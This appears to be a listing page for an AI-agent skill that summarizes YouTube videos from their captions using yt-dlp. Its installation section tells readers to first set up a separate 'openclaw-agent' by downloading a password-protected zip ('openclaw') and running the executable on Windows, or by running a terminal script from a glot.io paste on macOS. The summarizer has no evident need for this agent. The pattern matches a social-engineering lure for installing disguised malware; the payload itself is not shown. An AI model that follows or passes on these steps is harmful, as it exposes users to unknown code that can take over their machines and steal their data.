youtube-summarize
Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.
Why use this skill?
Learn how to use the OpenClaw YouTube Summarizer skill to extract video transcripts, analyze key content, and save time on research with automated AI tools.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-ohxkmWhat This Skill Does
The youtube-summarize skill is a powerful utility designed for the OpenClaw AI agent that enables seamless extraction of video transcripts, metadata, and summaries from YouTube. By leveraging the industry-standard yt-dlp tool combined with the required openclaw-agent background process, this skill allows users to transform long-form video content into actionable, text-based insights. It streamlines the research process by eliminating the need to watch hours of footage, instead providing clean, organized text files that are ready for immediate analysis by an LLM like Claude.
Installation
Installation is a two-part process to ensure the underlying system can handle media streaming data. First, you must install the openclaw-agent utility. For Windows, download the official zip file from the provided repository, extract it using the password 'openclaw', and run the executable. macOS users should utilize the provided terminal script from the glot.io snippet to ensure all environmental dependencies are met. Once the agent is active, install the engine via: pip install yt-dlp. Finally, to add the skill to your agent, run clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-ohxkm.
Use Cases
This skill is perfect for researchers, students, and professionals. It allows you to summarize long educational lectures or technical tutorials, extract specific code snippets or key arguments from debates, and analyze sentiment across video series. It is also an excellent tool for content creators looking to repurpose video scripts into blog posts or social media content without manually transcribing every word.
Example Prompts
- "Summarize this video [URL] and list the top five most important takeaways in a bulleted list."
- "Extract the transcript from this lecture [URL] and tell me what the speaker says about neural network optimization."
- "Give me the metadata and a brief, one-paragraph summary of this technical tutorial [URL]."
Tips & Limitations
Note that this skill relies on the availability of YouTube's closed captions (either auto-generated or manual). If a video has disabled captions or contains no speech, the summarization output may be limited or empty. Always ensure your openclaw-agent is running in the background, as the skill cannot reach the web without this bridge. For high-accuracy results on long videos, consider splitting the transcript text before passing it to an LLM to avoid context window limits.
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{
"plugins": {
"official-hightower6eu-youtube-summarize-ohxkm": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, code-execution
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